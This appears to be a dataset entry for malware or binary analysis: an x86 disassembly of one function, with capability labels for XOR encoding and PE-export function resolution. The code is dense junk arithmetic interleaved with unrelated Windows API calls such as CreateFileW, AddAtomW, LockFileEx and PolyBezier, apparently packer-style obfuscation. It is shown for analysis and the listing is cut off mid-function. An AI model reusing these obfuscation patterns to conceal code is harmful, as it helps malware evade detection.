Function at 0x401bc0
Capabilities:
Accept command line arguments
Encode data using xor
Get file size
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1e0
mov dword [esp + 0x1d8], 0
mov dword [esp + 0x184], 0x7e18
mov dword [esp + 0xc8], 0x917
mov byte [esp + 0x1bf], 0x8e
mov ax, word [0x471d7e]
add ax, 0xf207
mov word [0x471d7e], ax
mov eax, dword [esp + 0x184]
sub eax, 0x7e18
jne 0x401ca5
jmp 0x401c1f
mov word [esp + 0x192], 0x6aa
mov dword [esp + 0x168], 0xf156
lea eax, str.DT9BHwKjwW_nZeyj
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0xc0000000
mov dword [esp + 8], 2
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0x20
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x1c
mov dword [esp + 0x144], eax
mov dword [esp + 0xd0], 0x4a79
lea eax, [esp + 0x184]
mov dword [esp + 0x1c0], eax
mov byte [esp + 0x153], 0x59
jmp 0x401cbb
mov ecx, dword [esp + 0x184]
add ecx, 0x67e3
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov al, byte [esp + 0x153]
mov byte [0x472ea0], al
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
and eax, 0x29ae
cmp eax, dword [esp + 0x184]
jg 0x401d22
lea eax, str.pot_Uoe0O0dE.E1
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_AddAtomW]
sub esp, 4
mov word [esp + 0x3c], ax
mov dword [esp + 0x18c], 0x6e58
lea eax, [esp + 0xd0]
mov dword [esp + 0x1d0], eax
mov ax, word [esp + 0x192]
mov word [esp + 0x17a], ax
movsx eax, byte [0x472ea0]
imul eax, eax, 0x5e
movsx ecx, byte [esp + 0x153]
cmp eax, ecx
jge 0x401d54
movsx eax, byte [esp + 0x153]
mov dword [esp], eax
call fcn.00401a50
sub esp, 4
jmp 0x401dbf
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
or eax, 0x6b2d
cmp eax, dword [esp + 0x184]
jg 0x401dba
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
xor eax, 0xbfe3
mov dword [esp + 0xd0], eax
movzx eax, byte [esp + 0x1bf]
sar eax, 1
mov byte [esp + 0x1bf], al
mov al, byte [esp + 0x153]
mov dx, word [esp + 0x192]
mov cl, byte [esp + 0x153]
movsx eax, al
mov dword [esp], eax
call fcn.00401ac0
sub esp, 4
jmp 0x401dbf
movzx eax, word [0x471d7e]
cmp eax, 0xb83
jg 0x401e1a
movzx eax, byte [esp + 0x1bf]
shl eax, 1
mov byte [esp + 0x1bf], al
lea eax, [esp + 0x153]
mov ecx, dword [esp + 0xdc]
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
sub esp, 8
mov dword [esp + 0x30], eax
mov ecx, dword [esp + 0x184]
sub ecx, 0x5384
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
lea eax, [esp + 0x1bf]
mov dword [esp + 0x12c], eax
mov ax, word [0x471d7e]
mov word [esp + 0xfe], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1bf]
add eax, ecx
mov byte [0x471d80], al
imul eax, dword [esp + 0x184], 0x6b83
mov ecx, dword [esp + 0x1c0]
cmp eax, dword [ecx]
jl 0x4044f6
mov al, byte [esp + 0x1bf]
mov byte [esp + 0x73], al
lea eax, [esp + 0xfe]
mov dword [esp + 0x1b4], eax
cmp dword [esp + 0x168], 0x12ad6
jae 0x401faa
mov eax, dword [esp + 0x1c0]
mov ecx, dword [eax]
add ecx, dword [esp + 0x184]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x1d0]
or eax, dword [ecx]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
xor eax, 0x5e63
mov dword [esp + 0x184], eax
movzx eax, word [esp + 0xfe]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x471d7e], ax
mov eax, dword [esp + 0x168]
add eax, 0xb8
mov dword [esp + 0x168], eax
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [esp + 0x73], al
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
and eax, dword [esp + 0x30]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
sub eax, 0x72da
mov dword [esp + 0x184], eax
mov ecx, dword [esp + 0x184]
add ecx, 0x65a7
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0x1c0]
mov ecx, dword [eax]
sub ecx, dword [esp + 0x184]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
movzx eax, word [0x471d7e]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
add eax, ecx
mov word [esp + 0xfe], ax
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
and eax, ecx
mov byte [esp + 0x73], al
jmp 0x401e82
lea eax, [esp + 0xd0]
mov dword [esp + 0x180], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
sub eax, dword [esp + 0x184]
mov dword [0x471d84], eax
mov dword [esp + 0x1ac], 0xefac
mov eax, dword [esp + 0x184]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x17c]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x1c0]
add eax, dword [ecx]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [0x471d7e]
add eax, ecx
movzx ecx, word [esp + 0xfe]
cmp eax, ecx
jle 0x40211e
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
or eax, ecx
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esp + 0xe4]
sar eax, cl
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0xa0]
xor eax, dword [esp + 0x30]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
and eax, dword [esp + 0x17c]
mov dword [0x471d84], eax
mov eax, dword [esp + 0x1c0]
mov ecx, dword [eax]
add ecx, dword [esp + 0x184]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x73]
sub eax, ecx
mov byte [esp + 0x1bf], al
movzx eax, word [0x471d7e]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
add eax, ecx
mov word [esp + 0xfe], ax
mov al, byte [esp + 0x153]
mov ecx, dword [esp + 0x184]
mov edx, dword [esp + 0xe4]
mov esi, dword [esp + 0x184]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
movsx eax, al
mov dword [esp + 0xc], eax
call fcn.004019b0
jmp 0x4044a9
lea eax, [esp + 0x153]
mov dword [esp + 0x11c], eax
lea eax, [esp + 0x192]
mov dword [esp + 0xb4], eax
cmp dword [esp + 0xc8], 0xeed
jae 0x4023bd
mov eax, dword [esp + 0xd0]
mov dword [esp + 0x30], eax
mov ecx, dword [esp + 0xe4]
sub ecx, dword [esp + 0x184]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
movzx eax, byte [esp + 0x73]
movzx ecx, byte [0x471d80]
add eax, ecx
mov byte [esp + 0x1bf], al
movzx eax, word [esp + 0xfe]
movzx ecx, word [0x471d7e]
and eax, ecx
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
mov ecx, dword [esp + 0xa0]
sub ecx, dword [esp + 0xd0]
mov eax, dword [esp + 0x1d0]
mov dword [eax], ecx
mov eax, dword [esp + 0x17c]
mov ecx, dword [esp + 0x1c0]
add eax, dword [ecx]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
sub eax, dword [esp + 0x17c]
mov dword [esp + 0xe4], eax
mov ecx, dword [esp + 0xd0]
xor ecx, dword [esp + 0xa0]
mov eax, dword [esp + 0x180]
mov dword [eax], ecx
movzx eax, byte [esp + 0x1bf]
movzx ecx, byte [0x471d80]
shl eax, cl
mov byte [esp + 0x73], al
mov eax, dword [esp + 0xc8]
add eax, 0x53
mov dword [esp + 0xc8], eax
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
sar eax, cl
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
mov ecx, dword [esp + 0x17c]
or ecx, dword [esp + 0x184]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0xe4]
and eax, dword [esp + 0x17c]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0xe4]
sub eax, dword [esp + 0x17c]
mov dword [0x471d84], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
add eax, dword [esp + 0x184]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
sub eax, dword [esp + 0x184]
mov dword [esp + 0xe4], eax
movsx eax, word [esp + 0x192]
mov ecx, dword [esp + 0xb4]
movsx ecx, word [ecx]
add eax, ecx
mov word [esp + 0x17a], ax
movsx eax, byte [esp + 0x153]
movsx ecx, byte [0x472ea0]
add eax, ecx
mov cl, al
mov eax, dword [esp + 0x11c]
mov byte [eax], cl
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x73]
sub eax, ecx
mov byte [esp + 0x1bf], al
movzx eax, word [esp + 0x3c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
sub esp, 4
mov word [esp + 0x1c6], ax
movzx eax, word [0x471d7e]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
and eax, ecx
mov word [esp + 0xfe], ax
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x180]
add ecx, dword [eax]
mov eax, dword [esp + 0x1d0]
mov dword [eax], ecx
mov eax, dword [esp + 0x1c0]
mov ecx, dword [eax]
or ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
sar eax, cl
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
movzx eax, byte [esp + 0x73]
movzx ecx, byte [0x471d80]
xor eax, ecx
mov byte [esp + 0x1bf], al
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1d0]
mov ecx, dword [ecx]
shl eax, cl
mov ecx, eax
mov eax, dword [esp + 0x180]
mov dword [eax], ecx
jmp 0x40213a
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov dword [esp + 0x34], eax
mov dword [esp + 0xe0], 0xbad8
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esp + 0x184]
sub eax, ecx
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov dword [esp + 0x6c], eax
mov ax, word [esp + 0xfe]
mov word [esp + 0x6a], ax
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
sub eax, 0xf280
jne 0x4024d4
jmp 0x40241e
mov ecx, dword [esp + 0xe4]
sub ecx, dword [0x471d84]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0xb4]
movsx eax, word [eax]
movsx ecx, word [esp + 0x192]
sub eax, ecx
mov cx, ax
mov eax, dword [esp + 0xb4]
mov word [eax], cx
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [0x472ea0]
add eax, ecx
mov byte [esp + 0x153], al
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [0x471d80]
add eax, ecx
mov byte [esp + 0x1bf], al
movzx eax, word [esp + 0x6a]
movzx ecx, word [0x471d7e]
sub eax, ecx
mov word [esp + 0xfe], ax
mov eax, dword [esp + 0xb4]
mov ax, word [eax]
mov cx, word [esp + 0x192]
mov edx, dword [esp + 0x1b4]
movzx edx, word [edx]
mov dword [esp], edx
movsx ecx, cx
mov dword [esp + 4], ecx
cwde
mov dword [esp + 8], eax
call fcn.00401af0
jmp 0x40445a
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x180]
add eax, dword [ecx]
mov ecx, dword [esp + 0x1d0]
mov ecx, dword [ecx]
and ecx, dword [esp + 0xa0]
cmp eax, ecx
jne 0x40258b
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1d0]
xor eax, dword [ecx]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [0x472ea0]
shl eax, cl
movsx ecx, byte [esp + 0x153]
cmp eax, ecx
jle 0x402586
mov eax, dword [0x471d84]
sub eax, dword [esp + 0xe4]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x158], eax
mov eax, dword [esp + 0xb4]
mov ax, word [eax]
mov word [0x472ea2], ax
lea eax, [esp + 0x17c]
mov dword [esp + 0xb8], eax
mov dword [esp + 0x140], 0x416b
jmp 0x4025e9
movzx eax, word [esp + 0x6a]
movzx ecx, word [esp + 0xfe]
sub eax, ecx
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
movzx eax, byte [esp + 0x1bf]
movzx ecx, byte [0x471d80]
and eax, ecx
mov byte [esp + 0x73], al
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
add eax, dword [esp + 0x6c]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x1c0]
mov ecx, dword [eax]
sub ecx, dword [esp + 0x17c]
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
mov ecx, dword [esp + 0xb8]
add eax, dword [ecx]
mov dword [esp + 0xe4], eax
lea eax, [esp + 0x6c]
mov dword [esp + 0x13c], eax
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
sub eax, ecx
movzx ecx, byte [esp + 0x73]
movzx edx, byte [0x471d80]
add ecx, edx
cmp eax, ecx
je 0x402676
mov al, byte [esp + 0x1bf]
mov byte [esp + 0x1d7], al
mov eax, dword [esp + 0x1b4]
mov ax, word [eax]
mov word [esp + 0x150], ax
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0x150]
add eax, ecx
mov word [0x471d88], ax
jmp 0x4026c8
movsx eax, byte [esp + 0x153]
mov ecx, dword [esp + 0x11c]
movsx ecx, byte [ecx]
sub eax, ecx
movsx ecx, byte [0x472ea0]
cmp eax, ecx
jne 0x4026c3
mov eax, dword [esp + 0x11c]
mov al, byte [eax]
mov ecx, dword [esp + 0xb4]
mov dx, word [ecx]
mov ecx, dword [esp + 0x11c]
mov cl, byte [ecx]
movsx eax, al
mov dword [esp], eax
call fcn.00401ac0
sub esp, 4
jmp 0x4026c8
mov eax, dword [esp + 0xb4]
mov ax, word [eax]
mov word [esp + 0x13a], ax
mov eax, dword [esp + 0x11c]
mov al, byte [eax]
mov byte [esp + 0x127], al
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x13c]
add eax, dword [ecx]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x17c]
xor eax, dword [esp + 0x34]
mov dword [esp + 0xe4], eax
movzx eax, word [esp + 0x150]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
sar eax, cl
mov word [esp + 0x6a], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x73]
shl eax, cl
mov byte [esp + 0x1d7], al
mov eax, dword [esp + 0x184]
or eax, dword [esp + 0xe4]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x13c]
mov eax, dword [eax]
and eax, dword [esp + 0x30]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1c0]
sub eax, dword [ecx]
mov dword [0x471d84], eax
mov ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x158]
sub ecx, dword [eax]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
movzx eax, word [esp + 0x150]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
and eax, ecx
mov word [esp + 0x6a], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1bf]
add eax, ecx
mov byte [esp + 0x73], al
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
sub eax, dword [esp + 0xa0]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x17c]
mov ecx, dword [esp + 0x158]
add eax, dword [ecx]
mov dword [esp + 0x184], eax
mov ecx, dword [esp + 0x184]
sub ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
mov eax, dword [esp + 0x17c]
add eax, dword [esp + 0x184]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0xe4]
or eax, dword [esp + 0x184]
mov dword [esp + 0x17c], eax
movsx eax, byte [esp + 0x127]
movsx ecx, byte [esp + 0x153]
shl eax, cl
mov byte [0x472ea0], al
movsx eax, word [esp + 0x192]
movsx ecx, word [esp + 0x17a]
sar eax, cl
mov word [esp + 0x13a], ax
call fcn.00401490
mov eax, dword [esp + 0x144]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 0x5d68a089
mov dword [esp + 0xc], 0x61b
mov dword [esp + 0x10], 0x34b9
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_LockFileEx]
sub esp, 0x18
mov dword [esp + 0xec], eax
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
xor eax, ecx
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
mov eax, dword [esp + 0x144]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0xb67b
mov dword [esp + 8], 0
mov dword [esp + 0xc], 2
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov dword [esp + 0x2c], eax
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
and eax, ecx
mov byte [esp + 0x1d7], al
mov eax, dword [esp + 0x180]
mov ecx, dword [eax]
sub ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x180]
mov dword [eax], ecx
mov ecx, dword [esp + 0x78]
add ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x73]
add eax, ecx
mov byte [esp + 0x1bf], al
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0x150]
sub eax, ecx
mov cx, ax
mov eax, dword [esp + 0x1b4]
mov word [eax], cx
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esp + 0xb8]
and eax, dword [ecx]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1d7]
add eax, ecx
mov byte [0x471d80], al
mov eax, dword [esp + 0x17c]
sub eax, dword [esp + 0x184]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0xb8]
sub eax, dword [ecx]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1bf]
add eax, ecx
mov cl, al
mov eax, dword [esp + 0x12c]
mov byte [eax], cl
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0x150]
xor eax, ecx
mov word [esp + 0xfe], ax
mov eax, dword [esp + 0x1d0]
mov ecx, dword [eax]
or ecx, dword [esp + 0x6c]
mov eax, dword [esp + 0x1d0]
mov dword [eax], ecx
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x184]
shl eax, cl
mov dword [esp + 0x17c], eax
movsx eax, word [esp + 0x17a]
mov ecx, dword [esp + 0xb4]
movsx ecx, word [ecx]
sar eax, cl
mov word [esp + 0x13a], ax
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [esp + 0x153]
and eax, ecx
mov cl, al
mov eax, dword [esp + 0x11c]
mov byte [eax], cl
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0x150]
sub eax, ecx
mov word [0x471d88], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1d7]
add eax, ecx
mov cl, al
mov eax, dword [esp + 0x12c]
mov byte [eax], cl
mov ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x180]
sub ecx, dword [eax]
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
mov ecx, dword [esp + 0x1c0]
add eax, dword [ecx]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
sub eax, dword [esp + 0x34]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x180]
mov eax, dword [eax]
mov ecx, dword [esp + 0x13c]
and eax, dword [ecx]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
add eax, dword [esp + 0x34]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x1ac]
sub eax, 2
mov dword [esp + 0x1ac], eax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1d7]
add eax, ecx
mov byte [esp + 0x73], al
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
sub eax, ecx
mov word [esp + 0x150], ax
cmp dword [esp + 0x1ac], 0xef5e
jae 0x4026ea
jmp 0x402b7d
cmp dword [esp + 0x18c], 0x4c77
jbe 0x402e63
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esp + 0xe4]
shl eax, cl
mov ecx, eax
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
mov ecx, dword [esp + 0x180]
mov ecx, dword [ecx]
shr eax, cl
mov ecx, eax
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x158]
xor eax, dword [ecx]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x1c0]
or eax, dword [ecx]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [0x471d88]
and eax, ecx
mov word [esp + 0x6a], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1bf]
sub eax, ecx
mov cl, al
mov eax, dword [esp + 0x12c]
mov byte [eax], cl
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [esp + 0x153]
add eax, ecx
mov byte [esp + 0x127], al
mov eax, dword [esp + 0xb4]
movsx eax, word [eax]
movsx ecx, word [esp + 0x17a]
add eax, ecx
mov word [esp + 0x192], ax
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0x180]
sub eax, dword [ecx]
mov dword [esp + 0x30], eax
mov ecx, dword [0x471d84]
add ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0xb8]
mov dword [eax], ecx
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x1d7]
sub eax, ecx
mov cl, al
mov eax, dword [esp + 0x12c]
mov byte [eax], cl
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0x6a]
and eax, ecx
mov word [esp + 0xfe], ax
mov ecx, dword [esp + 0xd0]
sub ecx, dword [esp + 0xa0]
mov eax, dword [esp + 0x180]
mov dword [eax], ecx
mov eax, dword [0x471d84]
mov ecx, dword [esp + 0xb8]
mov ecx, dword [ecx]
sar eax, cl
mov ecx, eax
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 0x1c0]
or eax, dword [ecx]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x78]
shl eax, cl
mov ecx, eax
mov eax, dword [esp + 0x1d0]
mov dword [eax], ecx
mov eax, dword [esp + 0x1b4]
movzx eax, word [eax]
movzx ecx, word [esp + 0xfe]
xor eax, ecx
mov word [esp + 0x150], ax
mov eax, dword [esp + 0x12c]
movzx eax, byte [eax]
movzx ecx, byte [esp + 0x73]
add eax, ecx
mov byte [esp + 0x1d7], al
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esp + 0xb8]
and eax, dword [ecx]
mov dword [0x471d84], eax
mov ecx, dword [esp + 0x184]
add ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
mov ecx, dword [esp + 0xa0]
mov eax, dword [esp + 0x1d0]
sub ecx, dword [eax]
mov eax, dword [esp + 0x13c]
mov dword [eax], ecx
mov ecx, dword [esp + 0x184]
mov eax, dword [esp + 0x1c0]
sub ecx, dword [eax]
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
sub eax, dword [esp + 0x34]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [esp + 0x153]
add eax, ecx
mov byte [esp + 0x127], al
movsx eax, word [esp + 0x13a]
movsx ecx, word [esp + 0x192]
add eax, ecx
mov word [esp + 0x17a], ax
movzx eax, byte [0x471d80]
movzx ecx, byte [esp + 0x1bf]
sub eax, ecx
mov cl, al
mov eax, dword [esp + 0x12c]
mov byte [eax], cl
mov eax, dword [esp + 0x18c]
sub eax, 0xb1
mov dword [esp + 0x18c], eax
movzx eax, word [esp + 0x6a]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
and eax, ecx
mov word [esp + 0x150], ax
movzx eax, byte [esp + 0x1d7]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x471d80], al
jmp 0x402b7d
mov eax, dword [esp + 0x1b4]
mov ax, word [eax]
test ax, ax
jne 0x402ecc
jmp 0x402e7b
mov eax, dword [esp + 0x13c]
mov eax, dword [eax]
sub eax, 0x1a2c
jne 0x402ead
jmp 0x402e94
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
or eax, dword [esp + 0x17c]
mov dword [esp + 0x34], eax
jmp 0x402ec7
mov al, byte [0x471d80]
mov byte [esp + 0x14f], al
lea eax, [esp + 0x150]
mov dword [esp + 0x16c], eax
jmp 0x402f90
mov eax, dword [esp + 0x1d0]
mov eax, dword [eax]
mov ecx, dword [esp + 0x180]
xor eax, dword [ecx]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0xb8]
mov eax, dword [eax]
mov ecx, dword [esp + 0x158]
mov ecx, dword [ecx]
sar eax, cl
mov dword [esp + 0x17c], eax
lea eax, [esp + 0xdc]
mov ecx, dword [esp + 0x54]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x22
call dword [sym.imp.GDI32.dll_PolyBezier]
sub esp, 0xc
mov dword [esp + 0x130], eax
mov eax, dword [esp + 0x158]
mov ecx, dword [eax]
add ecx, dword [esp + 0x184]
mov eax, dword [esp + 0xb8]
mov dword [eax], ecx
mov eax, dword [esp + 0x13c]
mov eax, dword [eax]
sub eax, dword [esp + 0x78]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x16c]
movzx eax, word [eax]
mov ecx, dword [esp + 0x1b4]
movzx ecx, word [ecx]
and eax, ecx
mov word [esp + 0x150], ax
mov eax, dword [0x471d84]
mov edx, dword [esp + 0xe4]
mov ecx, dword [esp + 0x184]
mov dword [esp], eax
call fcn.00401b30
sub esp, 4
lea eax, [esp + 0x127]
mov dword [0x472ea4], eax
lea eax, [esp + 0x73]
mov dword [esp + 0x164], eax
mov ecx, dword [esp + 0x184]
add ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x1c0]
mov dword [eax], ecx
cmp dword [esp + 0xe0], 0x93ec
jb 0x403370
movzx eax, word [esp + 0x3c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
sub esp, 4
mov word [esp + 0x9a], ax
mov eax, dword [esp + 0x158]
mov eax, dword [eax]
mov ecx, dword [esp + 0xb8]
add eax, dword [ecx]
mov dword [esp + 0x17c], eax
movsx eax, word [esp + 0x13a]
movsx ecx, word [esp + 0x192]
sub eax, ecx
mov word [esp + 0x17a], ax
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [0x472ea0]
sub eax, ecx
